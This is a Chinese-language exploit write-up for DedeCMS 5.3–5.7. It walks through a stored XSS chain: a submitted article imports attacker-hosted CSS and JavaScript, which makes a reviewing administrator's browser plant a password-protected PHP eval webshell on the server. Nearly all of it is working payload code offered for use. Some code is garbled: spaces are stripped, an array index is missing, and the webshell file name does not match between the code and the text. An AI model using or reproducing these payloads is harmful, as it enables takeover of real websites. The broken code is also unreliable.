漏洞原因:DEDECMS由于编辑器过滤不严,将导致恶意脚本运行。可getshell取得权限。为什么说它是0Day呢?能getshell的都算0Day(鸡肋发挥起来也能变凤凰)目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。下面说说利用方法。条件有2个:开启注册开启投稿注册会员-发表文章投稿.
内容如下填写:
<style>@im\port'\http://zhimo.yuanzhumuban.cc/xss.css';</style>
在你自己的网站yuanzhumuban.cc上新建xss.css内容如下:
body{background-image:url('javascript:document.write("<scriptsrc=http://xxx.com/xss.js></script>")') }
在你自己的网站xxx.com上新建xss.js 内容如下:
varrequest =false;
if(window.XMLHttpRequest){request =newXMLHttpRequest();
if(request.overrideMimeType){request.overrideMimeType('text/xml');}}
elseif(window.ActiveXObject){varversions =['Microsoft.XMLHTTP','MSXML.XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP'];for(vari=0;i<versions.length;i++){try{request =newActiveXObject(versions);}catch(e){}}}xmlhttp=request;functiongetFolder(url ){obj =url.split('/')returnobj[obj.length-2]}oUrl =top.location.href;u =getFolder(oUrl);add_admin();functionadd_admin(){varurl="/"+u+"/sys_sql_query.php";varparams ="fmdo=edit&backurl=&activepath=%2Fdata&filename=92kuwo.php&str=<%3Fphp+eval%28%24_POST%5B0day5%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";xmlhttp.open("POST",url,true);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Content-length",params.length);xmlhttp.setRequestHeader("Connection","Keep-Alive");xmlhttp.send(params);}
当管理员审核这篇文章的时候,将自动在data目录生成一句话wo.php。密码0day5。